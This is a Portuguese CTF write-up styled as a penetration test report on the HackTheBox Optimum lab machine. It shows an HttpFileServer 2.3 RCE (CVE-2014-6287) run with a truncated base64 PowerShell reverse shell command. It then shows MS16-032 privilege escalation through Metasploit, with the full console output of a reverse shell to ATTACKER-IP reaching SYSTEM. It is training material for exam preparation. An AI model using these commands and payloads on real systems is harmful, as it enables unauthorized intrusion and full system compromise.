Documentação: Optimum CTF

Documentação: Optimum CTF

Documentação, em forma de relatório de teste de penetração, apresentada pela Behind Security, como parte da série Road to OSCP. O foco de hoje é o desafio Optimum CTF do HackTheBox.

Optimum CTF icon

Optimum CTF

O Optimum é uma máquina de nível iniciante que se concentra principalmente na enumeração de serviços com exploits conhecidos.

HackTheBox Logo

HackTheBox

O Hack The Box oferece a indivíduos, empresas e universidades as ferramentas de que precisam para melhorar continuamente suas capacidades de cibersegurança — tudo em um só lugar.

Resumo Executivo

Introdução

Este documento apresenta os resultados de uma avaliação de segurança realizada na máquina do Optimum CTF (IP: 10.10.10.8). O relatório fornece uma análise abrangente das descobertas, incluindo explicações sobre as vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas.

Objetivo

A avaliação teve como objetivo identificar vulnerabilidades que poderiam potencialmente levar a acessos não autorizados, comprometimento de dados ou escalonamento de privilégios. Ao conduzir cenários controlados de exploração, a avaliação visou destacar o impacto dessas vulnerabilidades e fornecer recomendações acionáveis para remediação.

Requisitos

A avaliação foi conduzida com os seguintes requisitos em mente:

  • Explorar vulnerabilidades para demonstrar impacto potencial.
  • Avaliar a eficácia dos controles de acesso e mecanismos de autenticação.
  • Demonstrar escalonamento de privilégios de nível de usuário para root.
  • Fornecer explicações detalhadas das vulnerabilidades, classificações de gravidade e recomendações de remediação.

Resumo de Alto Nível

A avaliação revelou vulnerabilidades preocupantes na máquina Optimum:

  1. CVE-2014-6287 (RCE no HttpFileServer) - Gravidade: Alta
    • Explicação: Vulnerabilidade de Execução Remota de Código (RCE) identificada na versão 2.3 do HttpFileServer.
    • Recomendação: Atualizar para a versão mais recente do HttpFileServer para mitigar o risco.
  2. MS16-032 (Escalonamento de Privilégios) - Gravidade: Extrema
    • Explicação: Vulnerabilidade de escalonamento de privilégios descoberta, permitindo potencial acesso não autorizado.
    • Recomendação: Aplicar o patch fornecido pela Microsoft para corrigir essa vulnerabilidade crítica.

Este resumo de alto nível destaca as vulnerabilidades encontradas durante o teste de penetração, juntamente com seus níveis de gravidade respectivos. Isso enfatiza a importância de abordar e remediar prontamente essas vulnerabilidades para aprimorar a segurança geral do sistema.

Descobertas Detalhadas

Explicações detalhadas das vulnerabilidades, correções das vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas estão documentadas na seção "Desafio Independente".

Metodologia

O teste de penetração da Behind Security seguiu uma metodologia abrangente e estruturada, incorporando as seguintes fases-chave:

  1. Reconhecimento: A fase inicial envolveu a coleta de informações sobre portas abertas.

  2. Enumeração: Nesta fase, a Behind Security conduziu uma enumeração detalhada do sistema-alvo, identificando serviços expostos, diretórios do servidor web e pontos de entrada potenciais para análise adicional.

  3. Avaliação de Vulnerabilidades: Foram utilizadas ferramentas de escaneamento automatizado e técnicas manuais para identificar possíveis vulnerabilidades de segurança na aplicação web e na configuração do servidor.

  4. Exploração: Vulnerabilidades que representavam riscos significativos foram exploradas ainda mais para verificar seu impacto na segurança do sistema.

  5. Pós-Exploração: Na fase final, a Behind Security tentou escalar privilégios e obter acesso mais profundo ao sistema, simulando cenários de ataque do mundo real.

Legenda de Cores

Legenda de cores do console:

Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que queremos destacar
{...} Saída abreviada por questões de brevidade

Desafio Independente - 10.10.10.8

export IP=10.10.10.8

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.8TCP: 80

Comando: nmap -sC -sV -T4 -vv -p- 10.10.10.8

Acesso Inicial - HttpFileServer 2.3 RCE

Explicação da Vulnerabilidade: Identificada como CVE-2014-6287, trata-se de uma vulnerabilidade de execução remota de código (RCE) na versão 2.3 do HttpFileServer.

Correção da Vulnerabilidade: O fornecedor lançou uma versão atualizada do HttpFileServer que corrige a vulnerabilidade de RCE. Atualize para a versão mais recente para mitigar o risco.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Baixe este exploit público.
  2. Acesse revshells.com, selecione PowerShell #3 (Base64), altere o endereço IP no topo para o seu endereço IP da VPN e copie o payload gerado.
  3. Execute o seguinte comando para obter um ponto de apoio na máquina (substitua a sequência após o -e pelo seu payload codificado em base64 respectivo do revshells.com): python3 49125.py 10.10.10.8 80 "powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOA{abreviado}GwAbwBzAGUAKAApAA=="
Página principal do HttpFileServer 2.3
Prova de Exploração: user.txt CENSURADO

Pós-Exploração

Elevação de Privilégios para SYSTEM

Explicação da Vulnerabilidade: Após gerar um executável malicioso do Windows para estabelecer uma sessão meterpreter na vítima, a Behind Security conseguiu identificar com sucesso, ao executar o windows exploit suggester (post/multi/recon/local_exploit_suggester), que a máquina é vulnerável ao ms16-032, uma vulnerabilidade de escalonamento de privilégios.

Correção da Vulnerabilidade: A Microsoft emitiu um patch para corrigir esse problema conhecido. Você pode obter mais informações sobre o patch e seus detalhes no site oficial da Microsoft.

Gravidade: Extrema

Passos para Reproduzir o Ataque: O atacante precisa ter uma sessão meterpreter na máquina.

  1. Coloque a sessão meterpreter em segundo plano usando o comando bg
  2. Execute: use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
  3. As configurações e saída são fornecidas abaixo.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > options 

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process,
                                         none)
   LHOST     192.168.1.10     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST ATTACKER-IP
LHOST => ATTACKER-IP
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on ATTACKER-IP:4444 
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1...
[*] Compressing script contents...
[+] Compressed size: 3745
[*] Executing exploit script...
         __ __ ___ ___   ___     ___ ___ ___ 
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2380

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+         $iD6g = [Ntdll]::NtImpersonateThread($mgn, $mgn, [ref]$p8yG)
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (p8yG:VariablePath) [], Runtim 
   eException
    + FullyQualifiedErrorId : NonExistingVariableReference

[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+     $iD6g = [Advapi32]::DuplicateToken($iF, 2, [ref]$gYZ)
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument

[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

iX7rWHCXEXxPf38Tph4mU5nNNfoW2lnc
[+] Executed on target machine.
[*] Sending stage (175686 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (ATTACKER-IP:4444 -> 10.10.10.8:49210) at 2023-08-12 11:13:08 -0400
[+] Deleted C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTcbPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > getsystem
[-] Already running as SYSTEM
Prova de Exploração: root.txt CENSURADO

Conclusão

Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais nosso site para descobrir outros tópicos interessantes que cobrimos. Desde cibersegurança até programação, nos esforçamos para oferecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manter informados e à frente do mercado. Estamos comprometidos em fornecer a melhor experiência ao usuário e estamos abertos a feedback e sugestões por meio do nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!

Behind Security main logo, cropped.

BEHIND SECURITY

A Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.

Rolar para cima